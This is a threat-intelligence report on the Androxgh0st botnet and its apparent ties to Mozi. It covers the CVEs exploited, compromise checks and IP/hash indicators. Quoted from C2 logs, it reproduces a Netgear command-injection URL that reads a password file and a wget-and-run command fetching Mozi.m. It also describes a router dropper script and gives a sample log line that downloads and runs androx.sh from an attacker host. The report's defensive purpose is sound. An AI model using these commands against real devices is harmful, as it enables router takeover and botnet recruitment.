Executive Summary
CloudSEK’s Threat Research team has identified significant developments in the Androxgh0st botnet, revealing its exploitation of multiple vulnerabilities and a potential operational integration with the Mozi botnet. Active since January 2024, Androxgh0st is known for targeting web servers, but recent command and control (C2) logs indicate it is also deploying IoT-focused Mozi payloads. CISA released an advisory on the botnet earlier this year. The botnet, active since January 2024, targets a broad range of technologies, including Cisco ASA, Atlassian JIRA, and various PHP frameworks, allowing unauthorized access and remote code execution. This clearly outlines the heightened activity from the botnet operators, as they are now focusing on a wide range of web application vulnerabilities in order to obtain initial access, in addition to the 3 CVEs reported earlier by CISA. CloudSEK recommends immediate patching of these vulnerabilities to mitigate risks associated with the Androxgh0st botnet, which is known for systematic exploitation and persistent backdoor access.
Analysis and Impact
Background
- CloudSEK’s contextual AI digital risk platform XVigil discovered that the Androxgh0st botnet has been exploiting CVE-2023-1389 and CVE-2024-36401 since at least August 2024.
- CISA released a security advisory in Jan 2024, raising awareness about the expansion of the Androxgh0st botnet using the 3 initial access vectors listed below:
- Exploiting PHP Vulnerability (CVE-2017-9841) in PHPUnit: Threat actors exploit a vulnerability in the PHPUnit framework by targeting exposed /vendor folders, specifically using the eval-stdin.php page to execute PHP code remotely and upload malicious files, establishing backdoor access to compromised websites.
- Targeting Laravel Framework’s .env and Application Key (CVE-2018-15133): Androxgh0st scans for websites with exposed Laravel .env files to steal credentials. If the application key is accessible, it enables encrypted PHP code execution through XSRF tokens, allowing file uploads and remote access.
- Apache Web Server Path Traversal (CVE-2021-41773): By targeting Apache versions 2.4.49 and 2.4.50, threat actors use path traversal to access files outside the root directory, exploiting improperly configured servers to run arbitrary code and potentially gain sensitive data or credentials.
-
About Mozi Botnet
The Mozi botnet primarily spanned across China, India and Albania. The botnet targeted Netgear, Dasan, D-Link routers and MVPower DVR Jaws servers. In 2021, the authors of the Mozi botnet were arrested by the Chinese law enforcement. The Mozi botnet creators, or Chinese law enforcement, by forcing the cooperation of the creators - distributed an update which killed Mozi Botnet Agents’ ability to connect to the outside world, leaving only a small fraction of working bots standing.
During our investigation, we were able to acquire the command and control server logs of Androxgh0st botnet. Our analysis sheds light on the vulnerabilities being exploited by the botnet, and the common TTPs with Mozi.
Analysis
- During our routine scans for malicious infrastructure hunting, CloudSEK’s TRIAD found command and control servers being used by the Androxgh0st botnet.
- As we can see, the servers are storing the POST and GET requests from the botnet agent over time.
- Androxgh0st botnet is known to send POST requests containing a number of peculiar strings.
Now that we have confirmed that these servers are communicating with the botnet agents, let us take a look at the type of web requests logged on these servers, in order to understand the web application vulnerabilities exploited by the botnet.
Vulnerabilities Exploited by Androxgh0st Botnet
CloudSEK’s TRIAD has revealed an array of vulnerabilities being exploited by the Androxgh0st botnet to obtain initial access.
- Cisco ASA WebVPN Login Page XSS Vulnerability (CVE-2014-2120): Cross-site scripting (XSS) vulnerability in the WebVPN login page in Cisco Adaptive Security Appliance (ASA) Software allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter.
File Upload Form:
- The code initially creates an HTML form that allows a file to be uploaded (<input type='file' name='a'>).
- When a file is uploaded, it is saved to the server with its original filename using the PHP function move_uploaded_file(), allowing the attacker to upload arbitrary files to the server.
Appends Code to PHP Files:
- If the URL contains a bak parameter, a second script is activated. This script looks in the current directory for any files with a .php extension.
- For each .php file, it appends the contents of a variable from the POST request ($_POST['file']) to the file. This essentially allows the attacker to insert arbitrary PHP code into any PHP file in the directory.
This appending method can be used to spread malicious code across multiple PHP files on the server, establishing a more persistent presence or further backdooring the application.
Limited Remote File Read in Jira Software Server (CVE-2021-26086): This vulnerability allows remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint. The affected versions are before version 8.5.14, from version 8.6.0 before 8.13.6, and from version 8.14.0 before 8.16.1.
Metabase GeoJSON map local file inclusion Versions x.40.0-x.40.4(CVE-2021-41277): A local file inclusion vulnerability exists in Metabase due to a security issue present in GeoJSON map support that leads to a local file inclusion vulnerability. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP GET request, to download arbitrary files with root privileges and examine environment variables.
- Sophos Authentication bypass vulnerability leads to RCE(CVE-2022-1040): An authentication bypass issue affecting the firewall’s User Portal and Webadmin web interfaces. The bypass allows a remote, unauthenticated attacker to execute arbitrary code.
Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload (CVE-2022-21587): An unauthenticated arbitrary file upload vulnerability in Oracle Web Applications Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, can be exploited in order to gain remote code execution as the oracle user.
OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated):
PHP CGI argument Injection: (CVE-2024-4577): An argument injection issue in PHP-CGI.
TP-Link Unauthenticated Command Injection (CVE-2023-1389): An 8.8 CVSS-rated command injection flaw in TP-Link Archer AX21 firmware allows unauthenticated command execution as root via the country parameter in /cgi-bin/luci;stok=/locale.
- The .sh file downloaded using the RCE is what facilitates the exploit.
- It downloads files from a remote server, makes them executable, executes them with the argument 'selfrep', and then deletes the downloaded files. This process is repeated for multiple files with different names.
- The script downloads and executes files from the remote server at http://154.216.17[.]31. It is evident that it attempts to download and execute executables ('tarm', 'tarm5', 'tarm6', 'tarm7', 'tmips', 'tmpsl', 'tsh4', 'tspc', 'tppc', 'tarc'). The downloaded files are made executable and executed with the argument 'selfrep'. After execution, the downloaded files are deleted.
- It uses the command '/bin/busybox' to execute commands. This suggests that the script is likely running on a system with a busybox environment, which confirms the usage against TP-Link routers.
GeoServer RCE Vulnerability(CVE-2024-36401): Versions of GeoServer prior to 2.25.1, 2.24.3, and 2.23.5 allow unauthenticated remote code execution by mishandling OGC request parameters, permitting unsafe evaluation of XPath expressions.
WordPress Plugin Background Image Cropper v1.2 - Remote Code Execution:
Wordpress Bruteforce Attacks: The botnet cycles through common administrative usernames and uses a consistent password pattern.The target URL redirects to /wp-admin/, which is the backend administration dashboard for WordPress sites. If the authentication is successful, it gains access to critical website controls and settings.
Unauthenticated Command Execution on Netgear DGN devices: The embedded web server skips authentication checks for some URLs containing the "currentsetting.htm" substring. As an example, the following URL can be accessed even by unauthenticated attackers:http://<target-ip-address>/setup.cgi?currentsetting.htm=1.Then, the "setup.cgi" page can be abused to execute arbitrary commands. As an example, to read the /www/.htpasswd local file (containing the clear-text password for the "admin" user), an attacker can access the following URL:
http://<target-ip-address>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1
An attacker can replace the command with the command they want to run. Now, upon looking at the command and control server logs, we noticed a GET request that was exploiting this old vulnerability. We can also see what the injected commands are.
Injected Commands:
cmd=rm -rf /tmp/*; wget http://200.124.241[.]140:44999/Mozi.m -O /tmp/netgear; sh netgear
The command sequence is as follows:
- rm -rf /tmp/*: This deletes all files in the /tmp directory, to clear any old data and ensure enough storage for the downloaded malware.
- wget http://200.124.241[.]140:44999/Mozi.m -O /tmp/netgear: This uses wget to download a malicious file named Mozi.m from an external server (200.124.241[.]140:44999) and saves it as /tmp/netgear.
- sh netgear: This runs the downloaded file as a shell script. Mozi.m likely contains malicious code. Once executed, the target device becomes part of the botnet.
The downloaded file, Mozi.m, is associated with the Mozi botnet. Mozi is a known botnet that primarily targets IoT devices by exploiting vulnerabilities to add them to a network of compromised devices.
Unauthenticated Command Execution on GPON routers(CVE-2018-10561, CVE-2018-10562):
CVE-2018-10561: Dasan GPON home routers allow authentication bypass by appending ?images to URLs that typically require login, such as /menu.html?images/ or /GponForm/diag_FORM?images/, enabling unauthorized device access.
CVE-2018-10562: Dasan GPON routers are vulnerable to command injection via the dest_host parameter in a diag_action=ping request to the /GponForm/diag_Form URI. The router stores ping results in /tmp, which can be accessed by revisiting /diag.html, allowing commands to be executed and their output retrieved.
Possibilities:
Mozi Payload as a Component of Androxgh0st:
- It’s possible that Androxgh0st has fully integrated Mozi’s payload as a module within its own botnet architecture. In this case, Androxgh0st is not just collaborating with Mozi but embedding Mozi’s specific functionalities (e.g., IoT infection & propagation mechanisms) into its standard set of operations.
- This would mean that Androxgh0st has expanded to leverage Mozi’s propagation power to infect more IoT devices, using Mozi’s payloads to accomplish goals that otherwise would require separate infection routines.
Unified Command Infrastructure:
- If both botnets are using the same command infrastructure, it points to a high level of operational integration, possibly implying that both Androxgh0st and Mozi are under the control of the same cybercriminal group. This shared infrastructure would streamline control over a broader range of devices, enhancing both the effectiveness and efficiency of their combined botnet operations.
TRIAD recommends that organizations patch these vulnerabilities being exploited in the wild as soon as possible to reduce the probability of being compromised by the Androxgh0st/Mozi Botnet.
Similarities in TTPs:
Both botnets share infection tactics involving command injection, credential stuffing, file inclusion, and exploitation of IoT-focused CVEs.
Global Infection Statistics
The number of affected devices by the Androxgh0st botnet is increasing by the day. At the time of writing this blog, over 500 devices have been infected.
Check for signs of compromise
1. Review HTTP and Web Server Logs
- Check for Suspicious Requests: Look for HTTP GET or POST requests that include unusual or suspicious commands, such as wget, curl, or command injection parameters like cmd=rm or cmd=wget. These are common signs of attempted command injection by Androxgh0st.
Example log entries to watch for:
GET /cgi-bin/admin.cgi?command=ping&ip=127.0.0.1;wget+http://[attacker_url]/androx.sh+-O+/tmp/androx;sh+/tmp/androx
POST /wp-login.php HTTP/1.1 log=admin&pwd=Passnext%40123456
- Check for Unusual Login Attempts: Look for repeated failed login attempts, indicating brute-force activity on login pages such as /wp-login.php, /admin_login, or /cgi-bin/login.cgi. These may target default credentials or weak passwords
.
2. Monitor System Processes for Unexpected Activity
- Identify Suspicious Processes: Use commands like ps aux or top to look for unexpected processes running from unusual locations (e.g., /tmp, /var/tmp, or /dev/shm), which is typical of botnet payloads.
Androxgh0st may execute commands such as:
/tmp/androx
- Inspect Crontab Entries and Startup Scripts: Androxgh0st often attempts persistence by modifying crontab files or startup scripts. Use the following commands to check for any suspicious entries:
crontab -l
cat /etc/rc.local
cat /etc/cron.d/*
3. Examine Suspicious Files in Temporary Directories
- Inspect /tmp, /var/tmp, and /dev/shm Directories: Androxgh0st payloads and scripts are often downloaded and executed from these directories. Look for files with unusual names or recent changes in these locations:
ls -la /tmp
ls -la /var/tmp
- Check File Permissions and Executable Files: Files in these directories should not typically be executable. Use find to locate executable files in these directories:
find /tmp -type f -perm /111
4. Analyze Network Connections and Traffic
- Monitor Outbound Connections to Known Malicious IPs or Domains: Androxgh0st may establish connections to its command-and-control (C2) server. Use tools like netstat or ss to identify active network connections:
netstat -antp | grep ESTABLISHED - Look for unusual outbound connections on uncommon ports (e.g., high-numbered ports) or to external IPs that you don’t recognize.
- Check for Excessive or Unusual Traffic Patterns: Androxgh0st-infected devices may exhibit unusual traffic, particularly if they are participating in a botnet. Monitor traffic for signs of:some text
- Repeated DNS lookups for suspicious domains.
- High volumes of outbound traffic that may indicate participation in DDoS activities.
5. Review Security Configurations for Changes
- Check for Unexpected Changes to Firewall and Router Settings: Androxgh0st may attempt to open additional ports or modify firewall rules. Review firewall rules and router settings for unexpected modifications.
- Inspect SSH Configuration for Weaknesses or Unauthorized Keys: If Androxgh0st used SSH brute-forcing to gain access, verify that no new SSH keys have been added to ~/.ssh/authorized_keys.
Check:
cat ~/.ssh/authorized_keys
6. Scan for Known Vulnerabilities and Apply Patches
- Identify Vulnerable Services and Applications: Androxgh0st often exploits known vulnerabilities in web servers, routers, and IoT devices. Use continuous attack surface scanners to detect any unpatched services or applications.
- Update Firmware and Software Regularly: Ensure that all devices, particularly IoT devices and routers, are running the latest firmware versions, as Androxgh0st targets unpatched CVEs.
7. Use Endpoint Detection Tools
- Run Endpoint Detection and Response (EDR) Software: EDR tools can help identify unusual behaviors, unauthorized processes, and suspicious files that may indicate Androxgh0st infection.
- Conduct a File Integrity Check: Use tools that can detect changes to critical system files, startup configurations, or web server files.
8. Check Logs for Signs of Persistence Mechanisms
- Look for Modified Configuration Files: Review configuration files for any injected commands that would re-enable the botnet upon reboot. This includes files such as /etc/rc.local, .bashrc, or any custom startup scripts.
- Audit System Logs for Malicious Activity Patterns: Look for patterns in auth.log, syslog, or application logs that may indicate Androxgh0st’s activity, including unexpected root login attempts or commands executed by web server user accounts.
Threat Actor Activity and Rating
References
- *Intelligence source and information reliability - Wikipedia
- #Traffic Light Protocol - Wikipedia
- Other sources
Appendix
Indicators
Request Logger and Command Sender - Androxgh0st
- 165.22.184[.]66
- 45.55.104[.]59
- Api[.]next[.]eventsrealm[.]com (Eventsrealm is a Jamaica-based events aggregator platform)
TP Link Router Exploitation - Download servers
- 45.202.35[.]24
- 154.216.17[.]31
Netgear Router Exploitation - Download server
- 200.124.241[.]140
GPON Router Exploitation - Download server
- 117.215.206[.]216
File Hashes - Androxgh0st TP-Link Exploitation (md5)
- 2403a89ab4ffec6d864ac0a7a225e99a
- d9553ca3d837f261f8dfda9950978a0a
- c8340927faaf9dccabb84a849f448e92
- a2021755d4d55c39ada0b4abc0c8bcf5
- c8340927faaf9dccabb84a849f448e92
- db2a59a1fd789d62858dfc4f436822d7
- dd5e7a153bebb8270cf0e7ce53e05d9c
- f75061ac31f8b67ddcd5644f9570e29b
- 45b5c4bff7499603a37d5a665b5b4ca3
- 6f8a79918c78280aec401778564e3345
- e3e6926fdee074adaa48b4627644fccb
- abab0da6685a8eb739027aee4a5c4eaa
- 2938986310675fa79e01af965f4ace4f
- a6609478016c84aa235cd8b3047223eb
- 3cb30d37cdfe949ac1ff3e33705f09e3
- 0564f83ada149b63a8928ff7591389f3
- 3d48dfd97f2b77417410500606b2ced6